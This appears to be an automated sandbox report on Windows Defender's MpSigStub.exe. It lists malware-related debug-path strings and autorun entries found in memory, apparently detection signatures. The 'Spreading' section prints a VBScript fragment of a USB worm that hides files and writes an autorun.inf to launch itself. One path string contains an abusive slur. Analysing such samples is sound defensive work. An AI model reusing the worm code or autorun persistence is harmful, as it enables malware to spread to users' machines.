        Source: Binary string: 50G:\\combustion\\aiding\\breaching\\stooping.pdb source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmp
        Source: Binary string: \Release\Cloudy.pdb] source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: msnetobj.pdb3 source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmp
        Source: Binary string: lsasrv.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-comm-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: llq001\src\out\Official\UpdateChecker.exe.pdb source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmp
        Source: Binary string: fA\\win\\build\\src\\build\\Release\\chrome_frame_helper\.exe\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: C:\Proyectos\desktop_apps\Updater\UpdaterVittalia\obj\Release\UpdaterService.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \ransom.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: K8MiniPage.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: PELoader.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: _darkshell\i386\DarkShell.pdb] source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: d:\\MODULOS\\PROJETO BATMAN\\Loaders\\Loader C# Crypter .* LINK .*\\obj\\x86\\Debug\\golfzinho.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: Session.*\\Release\\GenIt\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \Release\ProtectedService.pdb source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmp
        Source: Binary string: out\Release\360EntClient.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: msvfw32.pdb` source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \release\LSASecretsView.pdbx source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: [cC]:\\Project(s)?\\ATLResDLL\\release\\AtlResDllR(es)?\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: #CNC Plugins Tools\ProgFactory_d.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: SelfMother\SeaFriend\SmallStore\save.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!\VstsGitSourceIndex.exe source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmp
        Source: Binary string: \Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: BrowserManager.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: F:\rdpscan\Bin\Release_logged\x64\rdpscan.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: 4G:\Work\Bison\BisonNewHNStubDll\Release\Goopdate.pdb] source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: 'D:\code\ccminer\Release\x64\ccminer.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \FARATCLIENT\obj\Debug\FARATCLIENT.pdb source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: msvfw32.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: hal.pdb source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp
        Source: Binary string: JOe|OBzjATck#psb/.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \mspass.pdb source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp
        Source: Binary string: \bin\pxdl.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: JwEEPNd--41U6@yY_2Y.WDH6GG*6RbR.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: flzEnlAs.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: D:\WorkObject\SupL_EnableBHO\BHOEnabler\bin\BHOEnabler.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: WirelessKeyView.pdb source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: i=[cC]:\\Project(s)?\\ATLResDLL\\release\\AtlResDllR(es)?\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \SSFK\Release\SSFK.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: $\SuperLight\release\MfcDllServer.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: 3.C:\\Obnubilate\\Temp\\[a-z0-9]{26}\\Stub\.pdb source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp
        Source: Binary string: Release\adviser.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: <7\\Project's\\xCrypt3r\\stub_crypter\\Release\\stub.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: JJDownLoader\Bin\JJDownLoader_a.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: \tutorial\Release\CoffeeShop6.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: iashlpr.pdb source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmp
        Source: Binary string: .C:\source\src\nssm\out\Release\win64\absrv.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: advapi32.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: ZAService.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: gMolq.pdb source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmp
        Source: Binary string: O&\\wininet_fr_20200212\\.+\\?dlln\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: rafotech\minisoft\tools\xyfa\Release\xyfa.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: rStub\LimitlessLoggerStub\obj\x86\Debug\LLS.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: RamMap.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: C:\src\similar\clients\our\new_bundler\nsis_plugins\plugins\safed.pdbxm source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: c:\\Injekt - Builds\\.*\\SpeedBrowserP\\Source\\shortcut\\Encoder\\obj\\Release\\shortcut.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: 8rise\Window\position\Character\opposite\Miss\lawCome.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: aeroadmin.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: rpcss.pdb source: MpSigStub.exe, 00000023.00000003.18320569449.0000015B1B556000.00000004.00000001.sdmp
        Source: Binary string: \starter.pdb source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp
        Source: Binary string: \Release\UpdaterService.pdb source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmp
        Source: Binary string: \Rasomware2.0.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: You\Above\Particular\Exception.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \down\Wing\Would.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: mafia2injector\Release\MafiaInjector.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: \\aes_mfc\\Release\\aes_mfc.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: m3KHLMcF.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: sdmf|er.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \Release\TKCodeDDoS.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Release\haozip.chs\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: CrossLoopService.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\WebInject\bin\x86\Release_logged\payload32.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: \Release\winsrcsrv.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: hcd:\\MODULOS\\PROJETO BATMAN\\Loaders\\Loader C# Crypter .* LINK .*\\obj\\x86\\Debug\\golfzinho.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: ir41_qcx.pdb source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmp
        Source: Binary string: G\SharedSerialization\obj\Release\netstandard2.0\SharedSerialization.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: dbmsrpcn.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Deamon-dll.*\\Release\\Deamon-dll\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: mciole32.pdb source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp
        Source: Binary string: termsrv.pdbaA source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: msimg32.pdb] source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: Pb730.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: mqutil.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \Release\NvBackend.pdbx source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: ReleaseDebug\TvServer.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: borlo 1.9.7 src\WindowsApplication1\obj\Debug\Winlogon.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: 0rStub\LimitlessLoggerStub\obj\x86\Debug\LLS.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: usp10.pdbj source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: mstscax.pdb source: MpSigStub.exe, 00000023.00000003.18300879046.0000015B1A6C2000.00000004.00000001.sdmp
        Source: Binary string: \output\MinSizeRel\updrem.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: +kill\yourself\@YongruiTan\chinese\idiot.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: \Disable_Windowsupdate.pdbaG source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \SupNewTab\bin\SupTab.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: "SimCorp.XMGRs.Testing.ApiTests.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: tixati.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: uigjhghio.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \i386\iSafeNetFilter.pdb source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmp
        Source: Binary string: schtasks.pdbd*Microsoft Corporation source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: \P2P\Client\Debug\Client.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winver\objfre\i386\winver.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: PicoTorrent.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: hide_evr2.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: SKRFM.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: I \\aes_mfc\\Release\\aes_mfc.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: appmgmts.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: \src\out\Release\cleaner.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: arc\Release\arc.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: \chrome-toolbox\trunk\src\plugin\apihook.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: DownExecute.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: \GG-Ransomware-master\GG ransomware\GG ransomware\obj\Debug\Ransom.pdb source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp
        Source: Binary string: \defeat\rtl49.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\MiniSword\MakeSword\MakeSword\obj\Debug\MakeSword.pdb source: MpSigStub.exe, 00000023.00000003.18336377296.0000015B1BE9E000.00000004.00000001.sdmp
        Source: Binary string: \i386\Driver.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: \CoronaVirus Status.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: \svr_d\server_lyl\WinSAP\winSAP_2\Release\winSAP_2.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \Minoral.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: I \\Projects\\dll.\\.+\\dll.\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: 'c:\Top\Train\job\Wall\Did\Spendkept.pdb] source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Windows\Windows.pdb source: MpSigStub.exe, 00000023.00000003.18338076360.0000015B1B388000.00000004.00000001.sdmp
        Source: Binary string: 2 Ransom:MSIL/Cryptolocker.PDB!MTB source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: GC:\Users\wizzlabs\source\repos\SaveJuin\Nuigi\obj\Release\Baddelima.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: msiexec.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: wpnpinst.pdb source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp
        Source: Binary string: adptif.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: upE:\\WORK\\WORK_PECEPB\\Work_2012 Private\\.*\\Silence_lock_bot\\Silence_lock_bot\\Release\\Silence_lock_bot.pdb source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp
        Source: Binary string: 0Z:\NewProjects\hotsend\Release-Win32\hotsend.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: D:\\MyCode\\riot.?\\encryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \x64\Release\SFKEX64.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: <tmp\x86-Public-Game\LoL\RiotLoL_Client\League of Legends.pdba source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: @g-e3e_2qalAN+/PaKV/J.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: .+:.*\\obfuscator\\SkypeBot.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: D:\DevPatch\_FINAL\Bin\MapleStory.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: \x86\Release\swhost.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: SuzanDLL\Release\suzanw.pdb source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: 0\wrapper3.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: !kpdfcore\obj\Release\kpdfcore.pdb source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: T:\TFS-TradeProject\PDB\Release\TT-Miner.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \ggg\build\Release_32\libglib-2.0-0.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: cmd.pdb source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp
        Source: Binary string: d+D:\tortoiseSVN\nsc5\bin\Release\nssock2.pdbd source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: er.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: x:\Dev_CPP\Work\VS_KnzStr_Adware\Release\VS_Work1.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: Sniffer\Release\Sniffer.pdbxS source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmp
        Source: Binary string: diskpart.pdb source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\WebInject\bin\x64\Release_logged\webinject64.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: "E:\DLMon5\drv\obj\i386\RioDrvs.pdba source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: wship6.pdb3 source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: 9desktop_apps_ng\workspace\build\loader\Release\loader.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\logoff\objfre\i386\logoff.pdb source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp
        Source: Binary string: module_ls.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: \\Projects\\dll.\\.+\\dll.\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: 8rise\Window\position\Character\opposite\Miss\lawCome.pdb~ source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: Seed\trunk\output\bin\ntsvc.pdbxO source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: 2branches\xiaoyuTrunk\bin\Release\Win32\Upgrade.pdb source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-security-base-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: \\Project's\\xCrypt3r\\stub_crypter\\Release\\stub.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: X:\\DEgELgPMENT\\VC\+\+\\CrgptorgEvolugionggld\\relgase\\m.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: 9C:\Users\Seman\source\repos\Triforce\Release\Triforce.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: FDM3\bin\Release\FdmBrowserHelper.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: wmidx.pdbj source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: ramaint.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: mstext40.pdb3 source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: \Release\initialexe\torch.exe.pdbxE source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: d:\Projects\AKL\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp

        Spreading:

        barindex
        Yara detected Autohotkey Downloader GenericShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpBinary or memory string: [autorun];
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpBinary or memory string: x7[autorun];
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpBinary or memory string: %windir%\system32\win.dll\reg.bkp\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpBinary or memory string: autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: setaq=fso.getfile(status)iffso.fileexists(tmpt)thenfso.getfile(tmpt).attributes=0aq.copytmpt,truesetaq=fso.getfile(tmpt)aq.attributes=39anv=tmp+"\auto.exe"ifnotfso.fileexists(anv)thenaq.copyanvsetauto=fso.getfile(anv)auto.attributes=0setaut=fso.opentextfile(tmp+an,2,true,0)isi="[autorun]>open=wscript.exe//e:vbscriptthumb.dbauto>shell\open=open>shell\open\command=wscript.exe//e:vbscriptthumb.dbauto>shell\open\default=1>shell\explore=explore>shell\explore\command=wscript.exe//e:vbscriptthumb.dbauto
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [autorun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [autorun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: :\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: AutoRun.inf]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: %s\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: :\AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [AutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: %c:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [AutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\Runkrag%c:\autorun.inf[AutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\Runkrag%c:\autorun.inf[AutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [Autorun]]
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: [autorun]d$open = autorun.exed4shellexecute = autorun.exed
